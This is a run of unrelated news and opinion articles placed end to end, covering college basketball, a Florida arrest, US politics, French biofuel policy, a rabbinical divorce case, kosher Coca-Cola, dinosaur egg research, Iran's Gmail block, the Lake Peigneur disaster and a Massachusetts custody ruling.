Despite all the things designed to make our lives easier—Waze and Venmo and, pretty soon, self-driving cars—what is our biggest complaint? That we still don't have enough time. Miles Bridges wants more time. That's all. This year he doesn't have to look at a map to see where his classes are. He isn't so frantic on the court, either. He says, "Last year my mind was everywhere. I'm the star of the team, scoring 16 points a game. I was trying to fathom it. I was kind of overwhelmed."
Take the long view: He would rather have two years in college and 14 in the NBA than one year in college and 15 in the NBA. What's so weird about that?
Cynthia gets it now. She wasn't as desperate for him to leave as she thought she was. She is a worrier. That's all. Every time Michigan State assistant Mike Garland calls her, she immediately asks, "Is Miles O.K.?" When he comes home to Flint, she worries he will fall in with the wrong crowd. After his first practice this season she asked if his ankle felt all right.
But now she realizes she would have worried about him in the NBA, too, and for good reason. An agent who was recruiting Bridges told him what NBA life was really like. Some players go home to families after games, and others go out together. Teammates don't always like each other. They are fighting for the same jobs. It can be lonely.
"You've got to be mature going into this," the agent said.
The next day Miles called his mother: "I only have four pairs of underwear."
Rey Del Rio/Getty Images
If he couldn't even keep track of his underwear, he probably wasn't ready for the rest of professional life. And soon after Miles announced his decision, Cynthia realized he was right: She retired anyway. She just has to hold on a few more months, and then he will turn pro and make the big money. In the meantime Miles can focus on the dean's list and Bible study and Calypso and his friends and the midrange game he didn't have last year but has now.
Maybe he can win a national championship, too. Or maybe not. He will enjoy this season either way. The Spartans have a motto: It's not because you've got to. It's because you get to. Maybe everyone in the sport should adopt it.TAVARES � A 36-year-old man faces multiple charges after police found him Sunday morning trying to stop traffic with a red blanket along County Road 44A.
James Harville was charged with battery on a law enforcement officer, resisting arrest with violence, possession of methamphetamine and possession of drug paraphernalia. He remained in the Lake County Jail on Monday in lieu of $13,000 bond.
A Sheriff�s deputy said Harville was using the blanket to try to stop traffic because his car needed a jump start. The officer said he suspected the man was on drugs because he was acting jumpy and kept wandering into traffic.
Other deputies showed up, and Harville began fighting them, according to an arrest affidavit. He reportedly grabbed the first deputy�s groin, and officers used a Taser on him.
Synthetic marijuana, traces of meth and a glass smoking device were found in the man�s car, according to the affidavit.Editor's note: Fareed Zakaria is a foreign affairs analyst who hosts "Fareed Zakaria: GPS" on CNN at 1 p.m. ET Sundays.
Fareed Zakaria says "We need to have communication channels open."
NEW YORK (CNN) -- On the day President-elect Obama visited the White House, a new national poll suggested that the current occupant at 1600 Pennsylvania Ave. is the most unpopular president since approval ratings were first measured more than six decades ago.
Seventy-six percent of those questioned in a CNN/Opinion Research Corp. survey released Monday disapprove of how President Bush is handling his job. That's an all-time high in polling by CNN or Gallup dating back to World War II.
CNN spoke to world affairs expert and author Fareed Zakaria to get his take on what the Republican Party should do to get back on track.
CNN: If we accept that President-Elect Barack Obama and the Democrats seem to have won largely on the message of change, then why do you think Sen. John McCain and the Republicans lost?
Zakaria: I actually think that there were broad reasons for the resounding Republican loss and that they need to rethink their ideas before they can start winning again.
CNN: It was their ideas and not their strategy?
Zakaria: The Republican Party has become a party bereft of ideas or trapped by the wrong ones. The Reagan-Thatcher revolution of low taxes, deregulation and tight money isn't relevant to the problems of under-regulated financial products, huge deficits and a deepening recession. Add to that the Republican Party's social program is out of tune with an increasingly young, diverse and tolerant electorate.
Something similar has happened in foreign policy. Voters have seemed to sense that there is a new world out there and that the solutions presented by McCain in his campaign didn't address the change.
CNN: But do you really think that American voters care about foreign policy? Especially when it seems it was the economy that mattered more.
Zakaria: The economy was definitely an issue, but note that President Bush's approval ratings had plummeted to historic lows by 2005 even when the economy seemed to be on a steady course. And I do believe the vigorous unilateralism openly advocated by the administration is recognized by most Americans to have weakened the country's influence abroad. Its excessive reliance on military force has yielded few results relative to the costs. Zakaria urges Obama to 'go big' to fix economy »
At the heart of President Bush's ideology was regime change -- armed Wilsonianism. Whether in Iraq, North Korea or Iran, the basic goal was to refuse any kind of negotiation or diplomacy and instead try to overthrow the government and replace it with a democratic and friendly one. Most Americans now recognize that, however pleasant this sounds in theory, the real world is a complicated place and cannot be transformed by magic or military power.
CNN: So we need to negotiate with the enemy?
Zakaria: We need to have communication channels open. As former Secretary of State Madeline Albright said on our show, "Talking is not necessarily making nice. It is delivering tough messages and listening. I would bet that Milosevic didn't think that he was having a nice conversation with me -- or Kim Jong Il, for that matter."
Recently, even President Bush himself has seen the necessity of this. Over the past three years, he has negotiated with North Korea and Libya and even taken a tentative step with Iran; launched a high-profile peace process between the Palestinians and Israelis; and made encouraging proposals about global warming. These are all steps Bush actively opposed during his first term. He has moved in this direction out of necessity. Failure concentrates the mind.
CNN: So what would you recommend to the Republican Party?
Zakaria: They need to realize the world is changing and the old rules don't apply. They need to be innovative as Ronald Reagan was in 1980. Shouting "USA is No. 1" is cheap rhetoric, divorced from the real world. The real challenge for Washington is not to boast about America's might but to use its capacities -- military, political, intellectual -- to work with others to create a more stable, peaceful and prosperous world in which American interests and ideals will be secure.
All About Barack Obama • John McCain • George W. BushPARIS (Reuters) - France will take steps to restrict the use of palm oil in producing biofuels in order to reduce deforestation in the countries of origin, French Environment Minister Nicolas Hulot said on Thursday.
French Minister of Ecological and Social Transition Nicolas Hulot attends a national tribute ceremony for late French politician Simone Veil, Holocaust survivor and pro-abortion campaigner, at the Hotel des Invalides in Paris, France, July 5, 2017. REUTERS/Michel Euler/Pool
France has opposed other uses of palm oil in the past. Several bills have been presented to parliament since 2012 proposing a special tax on its use in food, citing environmental damage caused by plantations.
Indonesia and Malaysia, the world’s two largest palm oil producers, opposed such a tax, saying it was discriminatory and broke international trade rules.
“We will close a window that offered the possibility for using palm oil in biofuels,” Hulot said during a presentation of a wider plan on the fight against climate change.
He did not detail measures envisaged but said he wanted to stop “imported deforestation” in France, citing unsustainable soybean and palm oil production in the countries of origin.
Hulot also criticized the import of some protein-rich products used in animal feed, saying he wanted to stop French livestock becoming reliant on products from Brazil that were produced in ways that damaged the Amazon rainforest.
“It is all this incoherence that I want to stop,” he said.
Hulot did not name the products, but soybeans are a protein-rich crop from Brazil often used in animal feed in France.
Avril, Europe’s largest biodiesel producer, welcomed Hulot’s comments. The company uses French rapeseed as its main feedstock for biodiesel, in a process that makes animal feed as co-product known as rapemeal.
“Avril group supports all initiatives favoring biofuels that provide protein for animal feed and the banning... of biofuels made from palm oil,” Avril Chief Executive Jean-Philippe Puig told Reuters by email.
He said any action should not be limited to France but should be taken at a European level.
Avril has reduced output of biodiesel several times in the past, citing competition from cheaper imports that use palm oil as one of the main problems.
French imports of biodiesel, which often contain palm oil, rose to more than 1.1 million tonnes in 2016 from less than 300,000 tonnes in 2010, Avril said.
European biodiesel producers say rapemeal offers an alternative to imported soybeans, which mainly originate from Argentina and Brazil.
Crop-based biofuels have faced mounting criticism in Europe. Opponents say some crops are grown on plantations that cause deforestation. They also say the feedstock, such as sugar or grains, should be used to feed people not make fuel.0 SHARES Facebook Twitter Google Whatsapp Pinterest Print Mail Flipboard
We have all heard the lie, that President Obama is the worst domestic energy President ever. Unfortunately, the facts have a progressive biased and run counter to the Republican claims.
In an August 27th, 2011 article of the Wall Street Journal, you know the liberally biased newspaper? (sarcasm) It states that there are “1,069: The number of rigs drilling for oil in the U.S. this week.”
“The figure reflects a huge surge in U.S. oil drilling, up nearly 60% in the past year and the highest total since at least 1987,”
“The U.S. pumped 3.9 million barrels a day from onshore fields in March, up 5.9% from a year earlier and the most in nearly a decade.”
“Rising production—along with other factors such as increased use of alternative fuels and reduced consumption due to more fuel-efficient cars—is helping to make the U.S. less dependent on foreign oil. U.S. crude oil imports last week were down 11% from a year ago; on a percentage basis, the U.S. imported less of its oil last year than any year since 2003.”
Now there is a difference between oil rigs on private land and federally owned land. So let’s look at Obama’s record on oil rigs and leases according to the Bureau of Land Management,
Here is the bureau of land management stats on NEW LEASES for drilling on federal land. In 2011, 2,188 new leases were given out by Obama. In comparison, George Bush gave out only 2,022 in 2003. While the numbers do not mean much to me because leases increase and decrease due to the price of a barrel of oil. When prices increase, oil companies want to drill, when prices decrease, it is not as profitable and they do not want to drill.
In 2002 the average price of a barrel was $25 by 2006 oil was at $79 dollars, a record high at the time. You can see how it correlates to new leases in the link above, as prices increased so did the amount of leases.
The number of NEW wells in 2011 was 3,260, while under the Bush in 2003 only 2,957 new wells were drilled. As you can see the numbers DO NOT show a radical change in anything.
And finally to put the final nail in the coffin of the lies coming from the GOP is the number of permits given out.
Under the Obama administration, there have been 4,244 permits given out for onshore drilling on federal land in 2011. In contrast, President Bush, the oil man, gave out ONLY 3,802 permits in 2003. It then SPIKED to over 5,000 due to oil prices.Aamazingly, new permits in Obama’s first 3 years were all over 4,000.
This shows how lies regarding President Obama’s record is being falsely promoted by the party whose leader said, our only goal is to defeat Obama. This means even lying about Obama’s record and making him seem extreme. Unfortunately for them, the real record tells a different story.
Now this article probably will not sit well with my environmental activist friends, and that is OK. I am not championing his record, I am just setting the record straight.
I believe we need to keep drilling in the near future, obviously, but we need to use the tax credits and subsidies that are going to these oil companies and redirect them to green energy initiatives so that America can be energy independent, not independent by drilling more oil, but independent of oil entirely and move away from the Wall Street speculators.While Norton is quick to praise his players after making an impressive play, he’s also not afraid to chide them after they deliver an effort that’s not up to his standards.
4. Jihad Ward had a little pep in his step
Jihad Ward has been impressive during the first two days of Rookie Minicamp.
The imposing lineman is a disruptive force and has made his presence felt along the defensive line since the players hit the field, but Saturday he seemed to have a little extra pep in his step going from drill to drill, even jumping up and clicking his heels after an impressive rep.
The Silver and Black have high hopes for their second-round draft pick, and so far, he certainly looks the part. It’s going to be exciting to see how he looks when the team puts the pads on, but so far so good for the University of Illinois-product.
5. Don’t sleep on James Cowser
If there’s one thing that James Cowser did in college, it was produce.
During his four seasons at Southern Utah, Cowser set the NCAA FCS record with 43.5 sacks and also posted double-digit sack totals in three of his four seasons as a Thunderbird.
Through two days of Rookie Minicamp, the hybrid defensive lineman/linebacker has been a disruptive force on the defense and constantly seems to be around the ball.The Resistance has rallied. It is real. And after it swept Virginia and New Jersey, it is ready to take on the 2018 election cycle.
With this week's decisive Democratic wins in the Virginia and New Jersey governor’s races, as well as others across the country, Democrats — indeed Americans — can take solace and be energized in the fact that Donald Trump Donald John TrumpREAD: Cohen testimony alleges Trump knew Stone talked with WikiLeaks about DNC emails Trump urges North Korea to denuclearize ahead of summit Venezuela's Maduro says he fears 'bad' people around Trump MORE’s agenda has been resoundingly rejected in an important swing state like Virginia and in New Jersey, a state that was once governed by one of Trump’s earliest and closest allies and supporters, Chris Christie.
Democrats also saw major victories in down-ballot races, giving the party a boost at a time when it has seen its down-ballot victories reduced almost to rubble during the past decade. These victories were made all the sweeter with the nectar of poetic justice on social issues that the GOP has grabbed on to, to rally its conservative base.
For example
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in federal court in Trenton. Several co-defendants have pleaded guilty in the case; others will go on trial with Epstein.
The charges against Epstein reveal how far some Jewish women are forced to go to obtain a get, which Jewish law says the woman needs to remarry or even date another man.
Defense lawyer Robert Stahl called Epstein a “champion of women’s rights.” Epstein wrote the 1989 book “A Woman’s Guide to the Get Process.”
“I think that a lot of information will come out about the supposed victims, and the evidence will not be there that he was involved in certain incidents,” Stahl said. “Much more will come to light once the trial gets under way.”
Epstein is free on bail. No one answered the door last week at his two-story house in Lakewood, a 25-square-mile community near the Jersey Shore where more than 60,000 Orthodox Jews reside.
The allegations against Epstein show the lengths to which an agunah — a Jewish woman whose husband will not give the get — will go for a divorce.
“Without having the get … I have no prospects of getting remarried. I cannot date men. I have no future of having more children,” said Rivky Stein, a 25-year-old Brooklyn woman who says she is trying to obtain a get from her husband but isn’t involved in the Epstein case. “It just literally locks you in. You’re just entirely chained, and, in a sense, you’re controlled.”
The problem of recalcitrant husbands in the Jewish faith is dealt with in a few ways but can be complicated in the US, said Rabbi Mark Dratch, executive vice president of the Rabbinical Council of America. In Israel, he said, husbands who refuse to grant divorces can be imprisoned. Because that can’t happen in the United States, communities sometimes exert social pressure on the husband.
“It’s embarrassing to the individual and to the community,” he said, noting that he doesn’t condone the violence alleged in the Epstein case. “It’s not such a thing we’re proud of.”
Stein said she doesn’t pardon any crimes Epstein may have committed but has called for the Jewish community to come up with a solution to what she said is a problem of men “distorting Judaism.”
“Do I condone it? No. But I understand these women,” she said. “I understand their desperation. I understand their pain.”Scooby Doo and Shaggy make their way to the ring (Picture: WWE)
Always wondered what Scooby Doo would look like in a wrestling singlet? Craved to see John Cena fist drop a giant bear that is on fire? Well get yourself down to a DVD bargain bin where you will soon find a copy of ‘Scooby Doo: Wrestlemania Mystery’.
Scooby and Shaggy will forgo haunted houses and abandoned schools for one night only in order to solve a case at WWE’s flasgship event, aided by wrestlers like John Cena, Triple H, Kane and more.
The straight-to-DVD animated movie is a different direction for WWE Studios, who usually make films where up-and-coming superstars point guns at things and disappointingly don’t suplex any henchmen.
The trailer sees Scoob co-opt The Rock’s ‘Just bring it!’ catchphrase and even enter the squared circle himself for a tag-team match, the mystery oddly being not ‘what is the appeal of John Cena?’ but ‘why has a massive flaming bear been put in a cage match?’
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AdvertisementI stand for healthier women, men, and families. I stand for healthier communities. I stand with Planned Parenthood.
Cory Booker Blocked Unblock Follow Following Dec 3, 2015
Supporting an organization that provides life-saving healthcare services to 2.7 million Americans each year is vital.
There is after all an undeniable and incontestable connection between equitable access to health care services and empowering families, communities, and our country to succeed.
From preventative screenings to filling in gaps in health education, Planned Parenthood health centers across America provide women, men, and families with the resources they need to live healthier lives.
In my home state of New Jersey, 26 Planned Parenthood health centers serve over 100,000 New Jerseyans. In 2014 alone, New Jersey Planned Parenthood health centers performed 36,339 cancer screenings, potentially saving thousands of lives.
Supporting organizations like Planned Parenthood that expand access to life saving health services isn’t just the right thing to do, it’s the smart thing to do.
Despite this simple truth, Planned Parenthood is yet again facing politically-motivated efforts in Congress to end its federal funding — efforts based on misinformation. Among other lies being spread about Planned Parenthood, federal funds are already banned from being used for abortion services.
Defunding Planned Parenthood will jeopardize the future of a healthcare provider that one in five American women have utilized at some point during their lifetime.
A loss of funding for Planned Parenthood health centers would mean restricting millions of Americans from receiving care like lifesaving breast and cervical cancer screenings, STD testing, and family planning services.
For many women — but especially women who can’t afford to travel far or pay exorbitant out of pocket prices — Planned Parenthood’s doctors and nurses are often the only health care providers they see. In one of every five counties served by Planned Parenthood, they are the only safety-net family planning provider. Cutting off federal funding to safety-net health providers like Planned Parenthood would increase costs for many of our country’s vulnerable patients and threaten the availability of countless necessary health services for millions of Americans.
Planned Parenthood centers often step in where school sexual education programs fail, providing critical information, education and programming to teenagers, their families, and their communities.
When it comes to advocating for better health options and outcomes, we know that there’s a connection between inadequate, incomplete, or absent sexual education and increased rates of teen pregnancy, STI’s, sexual assault, as well as higher rates of substance abuse and depression in LGBTQ youth. While U.S. teen pregnancy and birth rates have declined to a historic low, America continues to have one of the highest teen pregnancy rates among comparable countries, with disproportionately high rates among minority teens. It’s essential that young people have access to the full information they need to protect themselves and to lead safe and healthy lives.
I am proud to stand up for women’s health and for community health.
I am proud to stand up for Planned Parenthood.
The efforts to defund Planned Parenthood and the critical services it provides are rooted in the kind of political point-scoring and game-playing that Americans are tired of seeing in Washington.
The only sure result is poorer health outcomes for women, men and children across America.
It’s time to turn the page and focus on expanding healthcare access and affordability for women and families, not restricting it.Starting when Passover begins on Friday night, Jews who are keeping kosher for the holiday must forgo foods with wheat, corn and other grains for the eight-day festival, severely restricting their diet. But one luxury is not out of reach: Coca-Cola.
The Atlanta-based soda maker provides a kosher-for-Passover version of its mainstay cola, identifiable by its yellow cap. Unlike most commercial sodas in the U.S. that are sweetened with corn syrup, this concoction uses sugar, helping it pass muster for those avoiding grains—and making it popular among those who say they prefer the flavor.
Hipsters and observant Jews alike are largely indebted to the efforts of one Orthodox rabbi eight decades ago. Rabbi Tuvia Geffen, Lithuanian-born but residing in Coke’s Georgia hometown, noticed that, of all the dietary restrictions of Passover, staying away from the soda was proving particularly difficult for his congregants. Before the holiday rolled around in 1935, responding to popular demand, he investigated the ingredients of the soft drink.
“Because it has become an insurmountable problem to induce the great majority of Jews to refrain from partaking of this drink,” Rabbi Geffen wrote in his rabbinical ruling. “I have tried earnestly to find a method of permitting its usage. With the help of God, I have been able to uncover a pragmatic solution.”
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The solution was, it turned out, relatively easy. This was before the use of corn syrup, but the ingredients still sometimes included grain sugars; so Coca-Cola assured Rabbi Geffen that they would exclusively use cane sugar during Passover as well as scrap one other minor ingredient that the rabbi deemed not to be kosher. And with that, Rabbi Geffen pronounced Coke to be kosher.
The dramatic development was announced in a letter to TIME published in the May 13, 1935, issue, sent by one Samuel Glick of Atlanta. Glick was following up on a TIME article about the Jewish Passover celebration that had been published the previous month:
In connection with your interesting article on the celebration of Passover (TIME, April 29), you may be interested to know that, for the first time. Atlanta orthodox Jews were allowed to drink Coca Cola during this solemn season. With the approval of Atlanta rabbis, special Coca Cola bottle caps were stamped with the Kosher symbol and signs denoting the same were displayed in soda fountains. The drink was not altered in any way.
Read the 1935 story about the Passover celebration: Passover and Easter
Write to Noah Rayman at [email protected] 'Baby Teeth' Reveal That Dino Eggs Hatched Slowly
Enlarge this image toggle caption Mick Ellison / American Museum of Natural History/Courtesy of Dr. Greg Erickson Mick Ellison / American Museum of Natural History/Courtesy of Dr. Greg Erickson
What to expect when you're expecting a baby dinosaur? Expect to wait.
That's the conclusion of a study by researchers at Florida State University who determined how long it took dinosaurs to hatch from their eggs by studying their teeth. Much like tree rings, teeth have growth lines called lines of von Ebner that can be used to estimate the age of an animal.
Researchers had expected dinosaurs might take the same time to hatch as bird, between a week and a half and three months. But in fact, they stayed in the shell far longer — between three and six months.
The leader of the study, Florida State University professor of anatomy and vertebrate paleontology Greg Erickson, says you can think of it like layers of paint. Every day, a liquid layer of dentine fills in the inner portion of the tooth and mineralizes, leaving distinct growth lines on the tooth that scientists can measure.
Enlarge this image toggle caption Darla Zelenitsky/University of Calgary Darla Zelenitsky/University of Calgary
The researchers studied two types of dinosaurs, Protoceratops andrewsi and Hypacrosaurus stebingeri. These two dinosaurs produced eggs that range from the smallest known dinosaur eggs, to some of the largest. "The Hypacrosaurus had a four kilogram egg — imagine that as four times larger than the egg of an ostrich," says Erickson. "They look like volleyballs."
The eggs revealed that dinosaurs probably spent about three to six months inside the egg before hatching, depending on the size of the dinosaur.
The long incubation time of the eggs could have played a role in the extinction of dinosaurs after the K-Pg extinction event. "You can imagine after the asteroid hit all of a sudden the resources went to nothing," says Erickson "Even when they (dinosaurs) did reproduce, they had extremely long incubation periods on top of it." Unfortunately for the dinosaurs, animals that reproduce quickly are better equipped to adapt to challenges and are more likely to survive extinction events.
The biggest limitations to the study are the number of specimens the researchers were able to analyze. While dinosaur eggs are fairly common fossils, intact eggs containing a skeleton are very rare. Erickson and his colleagues hope to look at more dinosaurs, including carnivorous dinosaurs, to see if their speculations about incubation times are true for all types of dinosaurs.
The new research published in the journal PNAS on Monday.Alamo Bowl: Ducks vs. Longhorns
Oregon inside linebacker Joe Walker sacks Texas quarterback Case McCoy in the Valero Alamo Bowl in San Antonio, Texas.
(Thomas Boyd/The Oregonian)
EUGENE -- If there was one unit built to absorb Oregon's latest rash of transfers, linebacker was one of the sturdiest exiting spring practices. It remains so, too, even after Tyrell Robinson's transfer last week, thanks to improvements this spring by Joe Walker in particular.
We touched on the state of the Oregon linebackers on May 16, but after Robinson's exit here's a revision of who stands to benefit the most.
Robinson appeared in nine games as a true freshman in 2013 and was a backup primarily to inside linebacker starter Derrick Malone. Robinson's impact was felt most when a knee injury to Malone in late November revealed how much of a natural the 6-foot-4 Robinson -- a former basketball star out of San Diego along with his twin, UO safety Tyree -- was at covering skill-position players in the open field.
As a young player with obvious physical gifts, Robinson's speed and leaping ability are obvious holes Oregon must address in later years.
But entering this fall in UO's 3-4 scheme, Robinson would have played behind returning starters Malone and Rodney Hardrick with no guarantee of increased reps because of spring practice improvements by Rahim Cassell and Walker, either. Walker made strides with his one-on-one coverage and was poised to possibly take some of Robinson's reps in the nickel packages where Oregon prizes linebackers with range who can shadow running backs and inside receivers. That's a crucial improvement from the fall, when Walker often had trouble wrapping up ball carriers in the open field (though missed tackles were a larger unit-wide issue, too).
Who else could benefit most by Robinson's move? Redshirt freshman Danny Mattingly and incoming freshman Jimmie Swain could be the biggest beneficiaries, though they will have just as difficult a task carving out playing time this fall as Robinson would have because of the linebacker depth.
Mattingly was described last August as "the complete package" by defensive coordinator Don Pellum, an uber-physical, downhill-running linebacker whose 6-5 frame belies his speed running to the ball. When camp opens in August he'll have been in Oregon's system for a full year, though whether that pays dividends amid such a deep unit remains to be seen.
At the outside 'backer spots, the leaders to start remain Tony Washington (a returning starter who led UO with tackles for loss in 2013) and Tyson Coleman, who is seeking to succeed Boseko Lokombo while recovering from an leg injury that held him out of the Alamo Bowl. Christian French and Torrodney Prevot would follow Washington and Coleman, respectively, in the two-deep in that case, with Oshay Dunmore playing the role of Robinson, if you will, as a young and speedy 'backer most comfortable defending in space.
OK, here are today's links:
The Oregon track team delivered when it mattered most.
Oregon QB Marcus Mariota will walk in graduation today at Oregon.
Oregon football teammates of Devon Allen sure were fired up by his NCAA hurdle title.
-- Andrew Greif | @andrewgreifOn Sunday, Iranian officials announced the country would be blocking access to Google and Gmail in protest of the anti-Islamic film Innocence of Muslims, whose lengthy trailer was posted to YouTube earlier this month.
A government deputy minister made the announcement on Sunday, and it came as state television revealed Google Inc's search engine and its e-mail service would be blocked "within a few hours."
"Google and Gmail will be filtered throughout the country until further notice," said Abdolsamad Khoramabadi, an Iranian official with the state-run body in charge of online censorship and computer crimes (according to quotes from The Guardian, BBC, and a number of other media outlets). Many have speculated this is just the latest step in Iran’s pending launch of its so-called “halal Internet.”
Unsecure search remains open
After Ars contacted a few Iranian Internet users in the country as well as other experts who monitor the Iranian Internet from afar, it appears Iran has disrupted all secure (HTTPS/SSL) connections to Google. All Gmail users are required to use HTTPS—all login and traffic information is encrypted and therefore difficult to monitor—so access through this avenue is blocked entirely. Normal, unsecured Iranian Internet traffic (HTTP) remains unblocked, however. Iran already can filter that as needed, so users can access Google search but then have to live with potential monitoring.
Of course, upper-class and tech-savvy Iranians with access to a Virtual Private Network (VPN) remain unaffected by these changes.
Officially, YouTube has been blocked since 2009. Google’s Transparency Report has not yet been updated to reflect what (if any) effects the company has officially observed with respect to the Gmail block.
“We have received information that users cannot get access to Gmail and Google Search in Iran,” wrote Samantha Smith, a Google spokesperson, in an e-mail sent to Ars. “We have checked our networks and there is nothing wrong on our side.”
Iran appears to be pushing users toward a domestic answer to Google
Some Iran watchers have speculated that a ban on Gmail may not actually continue for very long. But predicting Iranian government policy and behavior is a constant guessing game.
“Certainly, I would not be surprised if it did not last, since it is an incredibly unpopular decision,” Collin Anderson told Ars via chat. Anderson is an independent security researcher based in Washington, DC. “However, it is somewhat of a warning to users that unless they switch to a national e-mail service, they could lose access at any time.”
Reporters Without Borders noted that in early September, Iranian mobile phone users received a text message inviting them to use the new government-run e-mail service, Iran.ir. Citizens are required to give their name, address, phone number, and ID card number to authorities, which takes 24 hours to be approved. That site appears to be a government-run alternative to Google, which only searches a limited number of Persian-language sites.
Searches of the term “America,” as written in Persian, only yielded a short list of hits. The top one was for the Interests Section of the Islamic Republic of Iran, Embassy of Pakistan—the country’s official representative in Washington, DC since the suspension of diplomatic relations between Iran and the US in 1979. Unfortunately, searching for “Ars Technica” (as written in English) returned no results.In 1980, Lake Peigneur was an unremarkable body of water located near the Gulf of Mexico and New Iberia, Louisiana. The freshwater lake covered 1,300 acres of land and was only eleven feet deep. A small piece of land, Jefferson Island, was home to a beautiful botanical park. Deep beneath the lake there was a salt mine.
Today Lake Peigneur is still an unremarkable body of water. But it is now a 1,300 foot deep saltwater lake. We tell you the story of the biggest man-made whirlpool accident ever made. Early in the morning on November 21, 1980, workers decided to abandon their oil drilling rig on the suspicion that it was beginning to collapse. They had been probing for oil under the floor of Lake Peigneur when their drill suddenly seized up at about 1,230 feet below the muddy surface, and they were unable free it. In their attempts to work the drill loose, the men heard a series of loud pops, just before the rig tilted precariously towards the water.
Lake Peigneur
Concluding that something had gone wrong, the men on the platform cut the attached barges loose, scrambled off the rig, and moved to the shore. Shortly after abandoning the $5 million drilling rig, the crew watched in amazement as the huge platform and derrick overturned, and disappeared into a lake that was supposed to be only eleven feet deep. Soon the water around that position began to turn. It was slow at first, but it steadily accelerated until it became a fast-moving whirlpool a quarter of a mile in diameter, with its center directly over the drill site.
As the whirlpool was forming on the surface, an electrician working in the salt mines below heard a loud, strange noise coming towards him. Soon he discovered the sound’s source: fuel drums banging together as they were carried along the shaft by a knee-deep stream of muddy water. He quickly called in the evacuation alarm. Many of the 50 miners working that morning, most as deep as 1,500 feet below the surface, saw the evacuation signal and began to run for the 1,300 foot level, where they could catch an elevator to the surface. Although it seemed to take forever to get out using the slow 8-person elevator, all 50 miners managed to escape with their lives as the mine below them filled with water.
Clearly, the salt dome which contained the mine had been penetrated by the drill crew on the lake. Texaco, who had ordered the oil probe, was aware of the salt mine’s presence and had planned accordingly; but somewhere a miscalculation had been made, which placed the drill site directly above one of the salt mine’s upper shafts. As the water poured in through the original 14-inch-wide hole, it quickly dissolved the salt away, making the hole grow bigger by the second. The water pouring into the mine also dissolved the huge salt pillars which supported the ceilings, and the shafts began to collapse.
Meanwhile, up on the surface, the tremendous sucking power of the whirlpool was causing violent destruction. It swallowed another nearby drilling platform whole, as well as a barge loading dock, 70 acres of soil from Jefferson Island, trucks, trees, structures, and a parking lot. The sucking force was so strong that it reversed the flow of the 12-mile-long canal which led out from the lake to the Gulf of Mexico, and dragged 11 barges from that canal into the swirling vortex, where they disappeared into the flooded mines below. It also overtook a manned tug on the canal, which struggled against the current for as long as possible before the crew had to leap off onto the canal bank and watch as the lake consumed their boat.
The ruins of a building stand in the water of Lake Peigneur on Jefferson Island (Photo by Philip Gloud)
After only three hours, the lake was drained of its 3.5 billion gallons of water. The water from the canal, now flowing in from the Gulf of Mexico, formed a 150-foot waterfall into the crater where the lake had been, filling it with salty ocean water. As the canal refilled the crater over the next two days, nine of the sunken barges popped back to the surface like corks, though the drilling rigs and tug were left entombed in the ruined salt mine.
Waterfall filling Lake Peigneur with salt water
Despite the enormous destruction caused by the vortex, no human life was lost in this disaster, nor were there any serious injuries. Within two days, what had previously been an eleven-foot-deep freshwater body was replaced with a 1,300-foot-deep saltwater lake. The lake's biology was changed drastically, and it became home to many species of plants and fish which had not been there previously. The owners of the Crystal Diamond salt mine received a combined $45 million in damages from Texaco and the oil drilling company, and got out of the salt mining business for good.Just days ahead of Christmas, an 85-year-old man in the northern Chinese city of Tianjin has issued a heart-wrenching plea to the public: Adopt me so I don’t have to live in a nursing home.
The man, surnamed Han, said on Dec. 15 that he can no longer bear the loneliness since his son moved to Canada nearly 15 years ago, so he posted fliers around Tianjin advertising himself for adoption.
The flyer outlined some of his key selling points: “Lonely old man in his 80s; strong-bodied; can shop, cook, and take care of himself; has no chronic illnesses,” it reads. “Longing for a loving family to adopt me until my death.”
Han also notes that he’s a retired employee of a scientific research institute in Tianjin with a monthly pension of 6,000 yuan ($910), and that would-be adopters in the Tianjin area were especially welcome.
The elderly man, Han, posts adoption fliers at a bus station in Tianjin, Dec. 15, 2017. From Weibo
Earlier this week, Han’s story was picked up by online news outlet Pear Video, prompting media attention. He told reporters from Beijing Youth Daily that his son in Canada supported his search for an adoptive family.
Han has lived alone since 1984. In 2003, his son emigrated to Canada with his wife and their little boy. Han told Pear Video he has another son who works for a local hospital.
Though Han has received many caring phone calls since he posted the fliers, he has not found anyone who wants to adopt him — though there was one close call. Han said that a few weeks ago, one man came forward expressing interest, but the man’s family apparently did not consent to the adoption, and the two have since fallen out of touch.
Han also said he’d checked out nursing homes — and even tried out some — but didn’t like what he saw. At one place, he complained, the food portions were miserable: just a sliver of meat and a bowl of soup with lettuce leaves in it. “Some nursing homes are only concerned with taking money, but not with taking care [of residents],” Han told Beijing Youth Daily.
The story has sparked debate among Chinese netizens, including anger from some who hold Han’s family responsible for the old man’s situation. “The two sons don’t take care of the old man,” wrote one reader on popular news portal Sohu. “This is a consequence of modern education — [China’s] 5,000-year-old civilization has been destroyed in the contemporary era.”
Still others said Han’s dilemma was just another sign of the times. “In an aging society, this phenomenon will be seen more frequently,” wrote one user on microblogging platform Weibo.
Elderly adoptions appear to be legally valid. According to Zhou Hao, a lawyer at W&H Law Firm in Beijing, a contract can be drawn up so that the adopter would be responsible for taking care of the senior adoptee until his death, as well as for ensuring the subsequent burial. The adopter could also become eligible for inheritance rights.
Han told Beijing Youth Daily that he had been inspired by reports of another case where an elderly man offered his monthly pension in order to join a new family. “I thought this was nice, so I looked for adopters too,” Han said.
Contributions: Joyce Siu, editor: Qian Jinghua.
(Header image: Carsten Koall/Getty Images/VCG)Father and mother split when their daughter Odetta (a pseudonym) was an infant. Father was born in West Africa, and was apparently a nonpracticing Muslim; mother was born in Haiti, and was a Seventh Day Adventist. “Upon her birth, Odetta was given a Muslim name, and the family took part in a ceremony in which she was formally recognized into the Muslim faith.”
The daughter lived with the mother, but the father helped raise the daughter, with his brother’s help, until the daughter was age three. During that time, “Odetta attended the same mosque as the paternal uncle,” and “sporadically attended a Christian church with her mother and, on occasion, with her father as well.”
Then the father murdered the mother. The mother’s Adventist family got custody. Should the father’s Muslim brother get visitation, on the theory that continued exposure “to both parents’ religions and cultures” “be in [the] child’s best interests”? (Odetta is now almost 10; the father supported the paternal uncle’s petition.)
Yes, said the trial court and Friday the Massachusetts Appellate Court affirmed, in Adoption of Odetta. An excerpt from the trial court’s decision:
Odetta’s best interests will be served by allowing “her to have some contact with her father’s family, the tenets and practices of Islam which are part of her family heritage and which the adoptive family, who are not Islamic, cannot or will not provide for her.”
And some from the appellate court’s decision (some paragraph breaks added):
